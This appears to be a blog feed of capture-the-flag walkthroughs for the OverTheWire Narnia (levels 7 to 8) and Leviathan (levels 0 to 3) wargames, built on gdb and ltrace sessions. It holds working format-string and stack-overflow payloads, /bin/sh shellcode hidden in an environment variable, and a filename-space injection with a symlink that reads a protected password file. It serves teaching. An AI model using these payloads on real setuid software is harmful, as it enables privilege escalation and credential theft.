0x0804867d <+176>: mov DWORD PTR [esp],eax ******* <- Addr of bufer
0x08048680 <+179>: call 0x80484c0 <snprintf@plt>
0x08048685 <+184>: mov eax,DWORD PTR [ebp-0x8c]
=> 0x0804868b <+190>: call eax
(gdb) b *vuln+190
Breakpoint 1 at 0x804868b
(gdb) r AAAA
Starting program: /games/narnia/narnia7 AAAA
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Breakpoint 1, 0x0804868b in vuln ()
(gdb) x/24wx $esp
# 0xfffd8b1 is last arg
0xffffd600: 0xffffd620 0x00000080 0xffffd8b1 0x08048238
0xffffd610: 0xffffd678 0xf7ffda94 0x00000000 0x080486e0
0xffffd620: 0x41414141 0x00000000 0x00000000 0x00000000
0xffffd630: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd640: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd650: 0x00000000 0x00000000 0x00000000 0x00000000
We see its 6 words between our last argument until the start of our buffer, giving us our offset.
Also since the last level, I learned that there was an even easier way to figure out the offset without gdb and that is by using the tool ltrace which will actually show you the arguments and return of library function calls, letting us see the result of the snprintf:
narnia7@melinda:/narnia$ ltrace ./narnia7 AAAA%x%x%x%x%x%x
__libc_start_main(0x804868f, 2, 0xffffd774, 0x8048740 <unfinished ...>
memset(0xffffd630, '\0', 128) = 0xffffd630
printf("goodfunction() = %p\n", 0x80486e0goodfunction() = 0x80486e0
) = 27
printf("hackedfunction() = %p\n\n", 0x8048706hackedfunction() = 0x8048706
) = 30
printf("before : ptrf() = %p (%p)\n", 0x80486e0, 0xffffd62cbefore : ptrf() = 0x80486e0 (0xffffd62c)
) = 41
puts("I guess you want to come to the "...I guess you want to come to the hackedfunction...
) = 50
sleep(2) = 0
snprintf("AAAA8048238ffffd688f7ffda9408048"..., 128, "AAAA%x%x%x%x%x%x", 0x8048238, 0xffffd688, 0xf7ffda94, 0, 0x80486e0, 0x41414141) = 43
puts("Welcome to the goodfunction, but"...Welcome to the goodfunction, but i said the Hackedfunction..
) = 61
fflush(0xf7fcaac0) = 0
exit(0 <no return ...>
+++ exited (status 0) +++
Now that we have the offset, crafting our payload should be as easy as following the table here and making sure we adjust for stack shifts (remember to escape $, e.g: %6\$hn):
narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x3e\xd6\xff\xff\x3c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c) # Need to adjust
I guess you want to come to the hackedfunction...
Welcome to the goodfunction, but i said the Hackedfunction..
# Adjusted
narnia7@melinda:/narnia$ ./narnia7 $(python -c 'print "\x1e\xd6\xff\xff\x1c\xd6\xff\xff"')%.2044x%6\$hn%.32514x%7\$hn
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706
before : ptrf() = 0x80486e0 (0xffffd61c)
I guess you want to come to the hackedfunction...
Way to go!!!!$ whoami
narnia8
$ cat /etc/narnia_pass/narnia8
**** Password Removed ****
Sweet! Next up, the final boss.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int i;
void func(char *b){
char *blah=b;
char bok[20];
//int i=0;
memset(bok, '\0', sizeof(bok));
for(i=0; blah[i] != '\0'; i++)
bok[i]=blah[i];
printf("%s\n",bok);
}
int main(int argc, char **argv){
if(argc > 1)
func(argv[1]);
else
printf("%s argument\n", argv[0]);
return 0;
}
For our final exploit we are given what looks like another buffer overflow -- but with a twist. It seems that no matter what we do, we can't get an overflow!
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*1000')
AAAAAAAAAAAAAAAAAAAAA���
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20000')
AAAAAAAAAAAAAAAAAAAAA���
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*200000')
-bash: ./narnia8: Argument list too long
We can at most get 21 A's to appear, followed by some junk characters, no matter how many we input. As with most levels, let's jump into gdb for one last hurrah:
(gdb) set disassembly-flavor intel
(gdb) disas func
Dump of assembler code for function func:
0x0804842d <+0>: push ebp
0x0804842e <+1>: mov ebp,esp
0x08048430 <+3>: sub esp,0x38
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8] **** <- Address of b (passed in arg)
..... ...
0x08048433 <+6>: mov eax,DWORD PTR [ebp+0x8]
0x08048436 <+9>: mov DWORD PTR [ebp-0xc],eax
0x08048439 <+12>: mov DWORD PTR [esp+0x8],0x14
0x08048441 <+20>: mov DWORD PTR [esp+0x4],0x0
0x08048449 <+28>: lea eax,[ebp-0x20] ************ <- Bok (Actual location)
0x0804844c <+31>: mov DWORD PTR [esp],eax
0x0804844f <+34>: call 0x8048320 <memset@plt>
..... ...
0x08048454 <+39>: mov DWORD PTR ds:0x80497b8,0x0 # Initialize index = 0
0x0804845e <+49>: jmp 0x8048486 <func+89> # Do first post loop check
### Start loop ###
0x08048460 <+51>: mov eax,ds:0x80497b8 # Load index
0x08048465 <+56>: mov edx,DWORD PTR ds:0x80497b8
0x0804846b <+62>: mov ecx,edx # ecx has index
0x0804846d <+64>: mov edx,DWORD PTR [ebp-0xc] *** <- Pointer to blah
0x08048470 <+67>: add edx,ecx # edx = (blah+i)
0x08048472 <+69>: movzx edx,BYTE PTR [edx] # edx = *(blah+i)
0x08048475 <+72>: mov BYTE PTR [ebp+eax*1-0x20],dl # *(bok+i) = *(blah+i)
0x08048479 <+76>: mov eax,ds:0x80497b8
0x0804847e <+81>: add eax,0x1 # increment index
0x08048481 <+84>: mov ds:0x80497b8,eax
### Post loop check ###
0x08048486 <+89>: mov eax,ds:0x80497b8 # Load index
0x0804848b <+94>: mov edx,eax
0x0804848d <+96>: mov eax,DWORD PTR [ebp-0xc]
0x08048490 <+99>: add eax,edx
0x08048492 <+101>: movzx eax,BYTE PTR [eax] # Load *(blah+i)
0x08048495 <+104>: test al,al # Test if at end
0x08048497 <+106>: jne 0x8048460 <func+51>
..... ...
0x080484a0 <+115>: mov DWORD PTR [esp],0x8048580
0x080484a7 <+122>: call 0x80482f0 <printf@plt>
0x080484ac <+127>: leave
0x080484ad <+128>: ret
End of assembler dump.
So there is a lot going on, most likely due to the complexity of a for loop doing the copying instead of a library function like strcpy. However I've heavily annotated the assembly and most of it should be easy to follow.
Now that we know where everything roughly lives, let us run the program with some arguments and see what is actually happening. Find the number of A's you can run without seeing the weird characters (for me this was 19)
(gdb) b *func + 127
(gdb) r AAAAAAAA
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*19')
AAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484ac in func ()
(gdb) x/wx $ebp-0xc
0xffffd69c: 0xffffd8a5 # This is pointer to blah
(gdb) x/wx $ebp-0x20
0xffffd678: 0x41414141 # This is start of our buffer, bok
(gdb) x/48wx $esp
0xffffd660: 0x08048580 0xffffd678 0x00000014 0xf7e55f53
0xffffd670: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffd680: 0x41414141 0x41414141 0x00414141 0xffffd8a5* *<- *blah
0xffffd690: 0x00000002 0xffffd754 0xffffd6b8 0x080484cd
0xffffd6a0: 0xffffd8a5 0xf7ffd000 0x080484fb 0xf7fca000
0xffffd6b0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
0xffffd6c0: 0x00000002 0xffffd754 0xffffd760 0xf7feacea
0xffffd6d0: 0x00000002 0xffffd754 0xffffd6f4 0x080497a4
0xffffd6e0: 0x0804820c 0xf7fca000 0x00000000 0x00000000
0xffffd6f0: 0x00000000 0x47e1c50f 0x7fd8011f 0x00000000
0xffffd700: 0x00000000 0x00000000 0x00000002 0x08048330
0xffffd710: 0x00000000 0xf7ff0500 0xf7e3c979 0xf7ffd000
The above picture actually explains what is happening, and why we can seemingly input any large sized string as we want without overflowing.
First we know that the loop condition for copying our input to the buffer, bok, relies on traversing the string pointed to by the char *blah which starts dereferencing at 0xffffd8a5 (the location of our input), and stops when it reaches the 'end' or a null byte marking the end of string.
Now it seems that once we get to 20 characters in our input, we begin to overflow into the blah, effectively changing what it was pointing to. Once this happens, it no longer is pointing to our input, and so it copies over one last \x41 which overwrites the lowest order byte, giving you 21 A's. It scans our next 3 bytes which the remainder of our blah pointer, representing them as non-ascii characters before it reaches a null byte, and thus an overflow is averted in a very roundabout way.
You can see this behavior from the following dump:
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*500')
AAAAAAAAAAAAAAAAAAAAA���
Breakpoint 1, 0x080484ac in func ()
(gdb) x/wx24$esp
A syntax error in expression, near `$esp'.
(gdb) x/24wx $esp
0xffffd480: 0x08048580 0xffffd498 0x00000014 0xf7e55f53
0xffffd490: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffd4a0: 0x41414141 0x41414141 0x41414141 0xffffd641* *<- *blah pointer
0xffffd4b0: 0x00000002 0xffffd574 0xffffd4d8 0x080484cd
_ *b
|
v
0xffffd4c0: 0xffffd6c2* 0xf7ffd000 0x080484fb 0xf7fca000
0xffffd4d0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
When we overflow into blah, there is the misalignment causes it to no longer point to what it was assigned to in the beginning (b, our input). The solution of course is that when we overflow, to rewrite blah to the actual location of b before continuing, adjusting for the position of our stack. Remember when you change your stack, you must adjust for the change in position in the stack as well. Always check to see where b has been set with x/wx $ebp+0x8. If you get an address, that means that is where b points to now, otherwise if you see your input string that means your string is properly formatted:
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x10\xd6\xff\xff" + "A"*140')
AAAAAAAAAAAAAAAAAAAAA��
Breakpoint 1, 0x080484ac in func ()
(gdb) x/wx $ebp+0x8
0xffffd610: 0xffffd812
(gdb) r $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x12\xd8\xff\xff" + "A"*140')
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
So no we know how to overflow, the question becomes what do we overwrite. The answer is similar to what we did for a return-to-libc, only this case we are not overwriting a function call, but the function return of func itself to jump to a location we want.
In order to find the return address in the stack, you can always rely that while in the func context, the return address will always be held in $ebp+0x4 (x86 calling convention). You can verify this by also looking at the address of the next instruction after the call in main.
(gdb) x/wx $ebp+0x4
0xffffd6ac: 0x080484cd
(gdb) x/24wx $esp
0xffffd670: 0x08048580 0xffffd688 0x00000014 0xf7e55f53
0xffffd680: 0x00000000 0x00ca0000 0x41414141 0x00000041
0xffffd690: 0x00000000 0x00000000 0x00000000 0xffffd8b1
0xffffd6a0: 0x00000002 0xffffd764 0xffffd6c8 0x080484cd* *<- Here
0xffffd6b0: 0xffffd8b1 0xf7ffd000 0x080484fb 0xf7fca000
0xffffd6c0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
There are 10 words from start of our buffer until the return address, therefore we need 36 bytes (making sure to correct blah in the process) + 4 bytes to get the overwrite.
# Note I progressively altered the overwrite of 'blah' every time I altered the input string
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\xef\xbe\xad\xde"')
Breakpoint 6, 0x080484a7 in func ()
(gdb) x/wx $ebp+0x4
0xffffd68c: 0xdeadbeef # Success
(gdb)
We still have a problem, the buffer space we have of 20 A's and 12 A's respectively are not large enough to store my shellcode, which is 25 bytes long.
All is not lost however, since we are going to go back to what I mentioned in Level 2, and that is placing our shellcode instead at an environment variable, and setting our return address to instead jump to that.
While you can mess around with clearing the environment in gdb and working with *environ to find the address, this simple program will actually find the address of a target environment variable for you. With that lets try it out:
narnia8@melinda:/narnia$ export PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
# Make sure you call your binary exactly the same as you do with this program
# Direct call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS ./narnia8
PERKS will be at 0xffffdf66
# Full path call
narnia8@melinda:/narnia$ /tmp/getenvaddr PERKS /narnia/narnia8
PERKS will be at 0xffffdf5a
# Going with direct call
narnia8@melinda:/narnia$ ./narnia8 $(python -c 'print "A"*20 + "\x8e\xd8\xff\xff" + "A"*12 + "\x66\xdf\xff\xff"')
AAAAAAAAAAAAAAAAAAAA�A��
Damn, that's right we have to adjust for gdb. To do this requires a bit of luck, but we can make our lives easier by trying to match the context of gdb with how we run our variable. We know about env -i which allows us to set a custom environment to run a binary. We also know about gdb and the *environ pointer.
By clearing our gdb environment and adding a placeholder env variable with our dimensions (size of var name + size of var payload), and recreating this with our binary, we minimize the distance betweeen gdb memory addresses and the normal program's during runtime:
(gdb) unset environ
Delete all environment variables? (y or n) y
(gdb) b *main # So we can examine our stack
(gdb) set env PERKS=AAAAAAAAAAAAAAAAAAAAAAAAA # 25 bytes
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8
Breakpoint 1, 0x080484ae in main ()
(gdb) x/8s *environ
0xffffdfa8: "PWD=/games/narnia"
0xffffdfba: "SHLVL=0"
0xffffdfc2: "PERKS=", 'A' <repeats 25 times>
0xffffdfe2: "/games/narnia/narnia8"
0xffffdff8: ""
0xffffdff9: ""
0xffffdffa: ""
0xffffdffb: ""
(gdb) del break 1
(gdb) b *func+122
Breakpoint 2 at 0x80484a7
# See what it is at input size = 20
(gdb) r $(python -c 'print "A"*20')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20')
Breakpoint 2, 0x080484a7 in func ()
(gdb) x/24wx $esp
0xffffdda0: 0x08048580 0xffffddb8 0x00000014 0xf7e55f53
0xffffddb0: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffddc0: 0x41414141 0x41414141 0x41414141 0xffffdf93
0xffffddd0: 0x00000002 0xffffde94 0xffffddf8 0x080484cd
0xffffdde0: 0xffffdf93 0xf7ffd000 0x080484fb 0xf7fca000
0xffffddf0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
..... ...
# After figuring out offset...
(gdb) r $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')
Starting program: /games/narnia/narnia8 $(python -c 'print "A"*20 + "\x7f\xdf\xff\xff" + "A"*12 +"\xef\xbe\xad\xde"')
Breakpoint 2, 0x080484a7 in func ()
(gdb) x/24wx $esp
0xffffdd90: 0x08048580 0xffffdda8 0x00000014 0xf7e55f53
0xffffdda0: 0x00000000 0x00ca0000 0x41414141 0x41414141
0xffffddb0: 0x41414141 0x41414141 0x41414141 0xffffdf7f
0xffffddc0: 0x41414141 0x41414141 0x41414141 0xdeadbeef
0xffffddd0: 0xffffdf7f 0xf7ffd000 0x080484fb 0xf7fca000
0xffffdde0: 0x080484f0 0x00000000 0x00000000 0xf7e3ca63
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAA���AAAAAAAAAAAAᆳ����
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
Okay now that we know our blah address with our input length (0xffffdf7f), and when input length doesn't overflow (0xffffdf93). The trick here is to recreate our environment, see what the base address of blah is at regular (20) size, find the difference between outside and inside gdb, then add that difference to 0xffffdf7f. We are also lucky since running the program will output what our blah is, so we can pipe it through xxd to get the hex value:
narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20') | xxd
0000000: 4141 4141 4141 4141 4141 4141 4141 4141 AAAAAAAAAAAAAAAA
0000010: 4141 4141 99df ffff 020a AAAA......
# We see '0xffffdf99'
# '0xffffdf99 - 0xffffdf93' = 0x6 # our difference
# '0xffffdf7f + 0x6' = '0xffffdf85' # our new 'blah'
Now let's find where our environment variable is going to be located. Remember we have to run this too with our custom environment, and make sure how you called the narnia8 binary between gdb and this is consistent!
narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /tmp/getenvaddr PERKS /narnia/narnia8
PERKS will be at 0xffffdfce
Now all is left is to run the full command:
narnia8@melinda:/narnia$ env -i PWD="/games/narnia" SHLVL=0 PERKS=$(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"') /narnia/narnia8 $(python -c 'print "A"*20 + "\x85\xdf\xff\xff" + "A"*12 +"\xce\xdf\xff\xff"')
AAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAA��������
$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
**** Password Removed ***
narnia8@melinda:ssh [email protected]
Welcome to the OverTheWire games machine !
narnia9@melinda:~$ ls
CONGRATULATIONS
narnia9@melinda:~$ cat CONGRATULATIONS
you are l33t! next plz...
All right!
That was a really tricky set of things to do and getting the mapping between gdb and outside of it is tedious and very frustrating. If it is not working for you, I recommend you triple check that everything you are doing is matching up (calling with same path name, from the same directory, including all environment variables), and after that try wiggling the address of blah a bit.
And with that last level, we have wrapped up and finished Narnia!
Hopefully you are quite comfortable with the basic techniques you have learned here, and are ready to apply them to more difficult scenarios where the main vulnerability is not quite as obvious.
It was a lot of fun going back through the exploits and digging into the internals, and I hope you learned something from this entire process.
Until next time!
]]>Each level requires you to leverage some sort of 'exploit' in order to obtain a password that allows you
]]>Leviathan is one of the easier wargames on OverTheWire that doesn't require too much programming knowledge, but does provide a gentle introduction to the general format of capture the flag games.
Each level requires you to leverage some sort of 'exploit' in order to obtain a password that allows you to ssh into the next level.
Also it is expected that you have some prior knowledge of C programming and x86 assembly conventions (especially how functions are called, what different instructions do, the purpose of specific registers, etc). If not I would highly recommend going through Learn C The Hard Way and looking up a crash course in x86.
While there are many ways to solve these exercises, I will be focusing on using gdb to act as a resource for people out there trying to get familiar with it. The explanations will get more terse once basic things are gone over, ask questions in the comments if you are wondering about a logical jump that doesn't make sense!
This is just an introduction that doesn't take too much time. A listing of hidden directories shows a hidden folder in which inside is an html file containing a bunch of random links. A simple grep should more than suffice, and sure enough, we get the password:
leviathan0@melinda:~$ ls -al
total 24
drwxr-xr-x 3 root root 4096 Nov 14 2014 .
drwxr-xr-x 167 root root 4096 May 3 12:32 ..
drwxr-x--- 2 leviathan1 leviathan0 4096 Feb 10 18:08 .backup
-rw-r--r-- 1 root root 220 Apr 9 2014 .bash_logout
-rw-r--r-- 1 root root 3637 Apr 9 2014 .bashrc
-rw-r--r-- 1 root root 675 Apr 9 2014 .profile
leviathan0@melinda:~$ cd .backup/
leviathan0@melinda:~/.backup$ ls
bookmarks.html
leviathan0@melinda:~/.backup$ grep "pass" bookmarks.html
*** Password Removed ***
We get a binary called check which running seems to ask for a password prompt.
In CTFs, most of the time binaries aren't stripped of debugging information (which makes using gdb a lot harder), but let us just make sure:
leviathan1@melinda:~$ file check
check: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0d17ae20f672ebc7d440bb4562277561cc60f2d0, not stripped
Awesome, looks like it's intact. Let's fire up gdb to see if we can get any information:
leviathan1@melinda:~$ gdb -q check
Reading symbols from check...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x0804852d <+0>: push ebp
0x0804852e <+1>: mov ebp,esp
0x08048530 <+3>: and esp,0xfffffff0
0x08048533 <+6>: sub esp,0x30
0x08048536 <+9>: mov eax,gs:0x14
0x0804853c <+15>: mov DWORD PTR [esp+0x2c],eax
0x08048540 <+19>: xor eax,eax
........ .....
0x080485a3 <+118>: mov DWORD PTR [esp+0x4],eax
0x080485a7 <+122>: lea eax,[esp+0x14]
0x080485ab <+126>: mov DWORD PTR [esp],eax
0x080485ae <+129>: call 0x80483b0 <strcmp@plt>
0x080485b3 <+134>: test eax,eax
0x080485b5 <+136>: jne 0x80485c5 <main+152>
........ .....
Let's explain a little. The -q flag provided to gdb simply starts it in 'quiet' mode and removes a lot of the clutter on startup (not necessary). set disassembly-flavor intel formats the x86 instructions in a way that I prefer.
Doing disas main is usually a good place to start examining instructions, and scanning down we are looking for something that resembles a string comparison. Lo-and-behold, we find it:
0x080485ae <+129>: call 0x80483b0 <strcmp@plt>
We know that strcmp is a function that takes two arguments as strings. Lets see what is being passed to it:
0x0804859f <+114>: lea eax,[esp+0x18]
0x080485a3 <+118>: mov DWORD PTR [esp+0x4],eax
0x080485a7 <+122>: lea eax,[esp+0x14]
0x080485ab <+126>: mov DWORD PTR [esp],eax
0x080485ae <+129>: call 0x80483b0 <strcmp@plt>
....
(gdb) b *main+129
Breakpoint 1 at 0x80485ae
(gdb) r
Starting program: /home/leviathan1/check
password: hey
Breakpoint 1, 0x080485ae in main ()
(gdb) x/s $esp+0x18
0xffffd698: "sex"
(gdb) x/s $esp+0x14
0xffffd694: "hey"
(gdb)
After setting a breakpoint at strcmp (using it's offset from main), we give the program a password and resume execution. Looking at the assembly, we see two addresses being loaded into eax before passed to the comparison call, and examining these addresses reveals two strings, our passed in, "hey", and another string, "sex", which must be the target of the comparison.
On an aside, the 'examine' function of gdb is super useful and you should read up on it here.
Anyways, we try again with our new password, and we get a shell! (Make sure to quit gdb)
leviathan1@melinda:~$ ./check
password: sex
$ whoami
leviathan2
$ cat /etc/leviathan_pass/leviathan2
*** Password Removed ***
Of course we could just use the utility ltrace which shows library calls, giving us the answer, but it's good to get comfortable with messing around in memory since not all comparison checks will involve single library calls.
Lets try running this:
leviathan2@melinda:~$ ./printfile
*** File Printer ***
Usage: ./printfile filename
leviathan2@melinda:~$ echo "testing" > /tmp/lv2/e
leviathan2@melinda:~$ ./printfile /tmp/lv2/e
testing
leviathan2@melinda:~$ ln -s /etc/leviathan_pass/leviathan3 /tmp/lv2/pass
leviathan2@melinda:~$ ./printfile /tmp/lv2/pass
You cant have that file...
So it seems to print whatever the target is, but wont let us access files we don't have permission to. Time to turn to GDB:
...... ....
0x08048587 <+90>: mov DWORD PTR [esp+0x4],0x4
0x0804858f <+98>: mov DWORD PTR [esp],eax
0x08048592 <+101>: call 0x8048420 <access@plt> <===
0x08048597 <+106>: test eax,eax
0x08048599 <+108>: je 0x80485ae <main+129>
...... ....
0x080485d7 <+170>: lea eax,[esp+0x2c]
0x080485db <+174>: mov DWORD PTR [esp],eax
0x080485de <+177>: call 0x80483e0 <system@plt> <===
0x080485e3 <+182>: mov eax,0x0
0x080485e8 <+187>: mov edx,DWORD PTR [esp+0x22c]
0x080485ef <+194>: xor edx,DWORD PTR gs:0x14
There are a couple of interesting things going on. The first is the call to access, which must be what is gauging which files we can print. The second is system, and a raw system call is always a point for vulnerabilities. Let's plop down a breakpoint and see what is getting passed in.
(gdb) b *main+177
Breakpoint 1 at 0x80485de
(gdb) r /tmp/lv2/e
Starting program: /home/leviathan2/printfile /tmp/lv2/e
Breakpoint 1, 0x080485de in main ()
(gdb) x/s $eax
0xffffd49c: "/bin/cat /tmp/lv2/e"
(gdb)
System is execing cat on our argument we passed in. But looking a bit above we see snprintf writing to a buffer at an address.
...... ....
0x080485bb <+142>: mov DWORD PTR [esp+0x8],0x80486d4 <==
0x080485c3 <+150>: mov DWORD PTR [esp+0x4],0x1ff
0x080485cb <+158>: lea eax,[esp+0x2c]
0x080485cf <+162>: mov DWORD PTR [esp],eax
0x080485d2 <+165>: call 0x8048410 <snprintf@plt>
...... ....
(gdb) x/s 0x80486d4
0x80486d4: "/bin/cat %s"
There is a simple string substitution from our argument that forms the string that is passed inside system. Let us try to pass in a malformed argument and see what happens, at both access and system
leviathan2@melinda:~$ cd /tmp
leviathan2@melinda:/tmp$ mkdir tmpl2
leviathan2@melinda:/tmp$ cd tmpl2
leviathan2@melinda:/tmp/tmpl2$ touch "filename space"
leviathan2@melinda:/tmp/tmpl2$ gdb -q ~/printfile
....... ....
(gdb) b *main+101
Breakpoint 1 at 0x8048592 <= access
(gdb) b *main+177
Breakpoint 2 at 0x80485de <= system
(gdb) r "filename space"
Starting program: /home/leviathan2/printfile "filename space"
Breakpoint 1, 0x08048592 in main ()
(gdb) x/s $eax
0xffffd893: "filename space"
(gdb) c
Continuing.
Breakpoint 2, 0x080485de in main ()
(gdb) x/s $eax
0xffffd49c: "/bin/cat filename space"
It looks like we have an inconsistency. Although access is being called on our target file, because it is passed in through string format, the way cat works is by displaying the output of each argument passed in in sequence, delineated by spaces. Therefore while we check permissions for a single file, the system call treats it as attempting to cat two different files. What happens if we do a symbolic link to take advantage of this?
leviathan2@melinda:/tmp/tmpl2$ ln -s /etc/leviathan_pass/leviathan3 .
leviathan2@melinda:/tmp/tmpl2$ echo "w00t" > "gimme leviathan3"
leviathan2@melinda:/tmp/tmpl2$ ls -al
total 1104
drwxrwxr-x 2 leviathan2 leviathan2 4096 Jun 12 15:47 .
drwxrwx-wt 5833 root root 1118208 Jun 12 15:47 ..
-rw-rw-r-- 1 leviathan2 leviathan2 5 Jun 12 15:47 gimme leviathan3
lrwxrwxrwx 1 leviathan2 leviathan2 30 Jun 12 15:47 leviathan3 -> /etc/leviathan_pass/leviathan3
leviathan2@melinda:/tmp/tmpl2$ ~/printfile "gimme leviathan3"
/bin/cat: gimme: No such file or directory
*** Password Removed ****
Sweet!
This is another easy one to solve with ltrace, but lets brush up our gdb skills. It seems this is another password prompt binary. Loading it up gives us a strcmp function that we should probably examine:
...... ....
0x0804867d <+127>: lea eax,[esp+0x31] <=== second arg
0x08048681 <+131>: mov DWORD PTR [esp+0x4],eax
0x08048685 <+135>: lea eax,[esp+0x2a] <=== first arg
0x08048689 <+139>: mov DWORD PTR [esp],eax
0x0804868c <+142>: call 0x80483d0 <strcmp@plt>
0x08048691 <+147>: test eax,eax
0x08048693 <+149>: jne 0x804869d <main+159>
..........
(gdb) b *main+142
Breakpoint 1 at 0x804868c: file level3.c, line 33.
(gdb) r
Starting program: /home/leviathan3/level3
Breakpoint 1, 0x0804868c in main () at level3.c:33
(gdb) x/s $esp+0x31
0xffffd691: "kakaka"
(gdb) x/s $esp+0x2a
0xffffd68a: "h0no33"
(gdb) c
Continuing.
Enter the password> gimme
bzzzzzzzzap. WRONG
[Inferior 1 (process 21628) exited normally]
Huh something weird is happening. The breakpoint is hit before we actually give it a password, and two random strings are compared. What is going on?
Luckily because we have function symbols intact looking further in main we see a call to another, non-library function called do_stuff. Just like main we can disassemble the instructions in that function:
...... ....
0x080486a4 <+166>: call 0x80483e0 <printf@plt>
0x080486a9 <+171>: call 0x804854d <do_stuff>
0x080486ae <+176>: mov eax,0x0
0x080486b3 <+181>: mov edx,DWORD PTR [esp+0x4c]
...... ....
(gdb) disas do_stuff
Dump of assembler code for function do_stuff:
0x0804854d <+0>: push ebp
0x0804854e <+1>: mov ebp,esp
0x08048550 <+3>: sub esp,0x128
0x08048556 <+9>: mov eax,gs:0x14
0x0804855c <+15>: mov DWORD PTR [ebp-0xc],eax
0x0804855f <+18>: xor eax,eax
0x08048561 <+20>: mov DWORD PTR [ebp-0x117],0x706c6e73
0x0804856b <+30>: mov DWORD PTR [ebp-0x113],0x746e6972
0x08048575 <+40>: mov WORD PTR [ebp-0x10f],0xa66
0x0804857e <+49>: mov BYTE PTR [ebp-0x10d],0x0
0x08048585 <+56>: mov eax,ds:0x804a03c
0x0804858a <+61>: mov DWORD PTR [esp+0x8],eax
0x0804858e <+65>: mov DWORD PTR [esp+0x4],0x100
0x08048596 <+73>: lea eax,[ebp-0x10c]
0x0804859c <+79>: mov DWORD PTR [esp],eax
0x0804859f <+82>: call 0x80483f0 <fgets@plt>
0x080485a4 <+87>: lea eax,[ebp-0x117] <== Arg1
0x080485aa <+93>: mov DWORD PTR [esp+0x4],eax
0x080485ae <+97>: lea eax,[ebp-0x10c] <== Arg2
0x080485b4 <+103>: mov DWORD PTR [esp],eax
0x080485b7 <+106>: call 0x80483d0 <strcmp@plt> <== Here
0x080485bc <+111>: test eax,eax
0x080485be <+113>: jne 0x80485da <do_stuff+141>
0x080485c0 <+115>: mov DWORD PTR [esp],0x8048760
0x080485c7 <+122>: call 0x8048410 <puts@plt>
0x080485cc <+127>: mov DWORD PTR [esp],0x8048774
0x080485d3 <+134>: call 0x8048420 <system@plt>
0x080485d8 <+139>: jmp 0x80485e6 <do_stuff+153>
0x080485da <+141>: mov DWORD PTR [esp],0x804877c
0x080485e1 <+148>: call 0x8048410 <puts@plt>
0x080485e6 <+153>: mov eax,0x0
0x080485eb <+158>: mov edx,DWORD PTR [ebp-0xc]
0x080485ee <+161>: xor edx,DWORD PTR gs:0x14
0x080485f5 <+168>: je 0x80485fc <do_stuff+175>
0x080485f7 <+170>: call 0x8048400 <__stack_chk_fail@plt>
0x080485fc <+175>: leave
0x080485fd <+176>: ret
End of assembler dump.
(gdb) b *do_stuff+106
Breakpoint 2 at 0x80485b7: file level3.c, line 12.
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/leviathan3/level3
